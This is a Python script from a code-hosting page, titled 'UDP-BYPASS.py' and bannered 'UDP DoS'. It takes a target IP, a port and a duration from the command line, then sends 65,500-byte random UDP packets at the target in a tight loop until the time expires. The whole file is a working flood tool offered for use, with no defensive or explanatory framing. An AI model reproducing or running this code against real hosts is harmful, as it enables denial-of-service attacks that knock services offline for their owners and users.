-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathUDP-BYPASS.py
64 lines (45 loc) · 3.77 KB
/
UDP-BYPASS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import socket, threading, time, os, random, sys
def banner():
print("""
██╗ ██╗███╗ ██╗██╗ ██╗██╗ ██╗ ██████╗ ██████╗ ██████╗ ███████╗
╚██╗██╔╝████╗ ██║██║ ██║██║ ██║ ██╔════╝██╔═══██╗██╔══██╗██╔════╝
╚███╔╝ ██╔██╗ ██║██║ ██║██║ ██║ ██║ ██║ ██║██║ ██║█████╗
██╔██╗ ██║╚██╗██║██║ ██║██║ ██║ ██║ ██║ ██║██║ ██║██╔══╝
██╔╝ ██╗██║ ╚████║╚██████╔╝███████╗███████╗╚██████╗╚██████╔╝██████╔╝███████╗
╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
[UDP DoS]
""")
threads = []
banner()
if len(sys.argv) !=4:
print(f"Use: python3 {sys.argv[0]} <ip> <port> <time>")
sys.exit(1)
target=sys.argv[1]
port=sys.argv[2]
timer = int(sys.argv[3])
#create socket, packet
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
victim_ip = target
attack_port = int(port)
sent = 0
standard_time = time.time()
def banner():
print("""
░█████╗░████████╗████████╗░█████╗░░█████╗░██╗░░██╗ ░██████╗███████╗███╗░░██╗████████╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔══██╗██║░██╔╝ ██╔════╝██╔════╝████╗░██║╚══██╔══╝
███████║░░░██║░░░░░░██║░░░███████║██║░░╚═╝█████═╝░ ╚█████╗░█████╗░░██╔██╗██║░░░██║░░░
██╔══██║░░░██║░░░░░░██║░░░██╔══██║██║░░██╗██╔═██╗░ ░╚═══██╗██╔══╝░░██║╚████║░░░██║░░░
██║░░██║░░░██║░░░░░░██║░░░██║░░██║╚█████╔╝██║░╚██╗ ██████╔╝███████╗██║░╚███║░░░██║░░░
╚═╝░░╚═╝░░░╚═╝░░░░░░╚═╝░░░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝ ╚═════╝░╚══════╝╚═╝░░╚══╝░░░╚═╝░░░
""")
print (f'{target}:{port} {timer}')
standard_time = time.time()
#def run():
packet_size = random._urandom(65500)
while True:
end = time.time()
if(end - standard_time < timer):
sock.sendto(packet_size, (victim_ip, attack_port))
sent = sent + 1
else:
exit()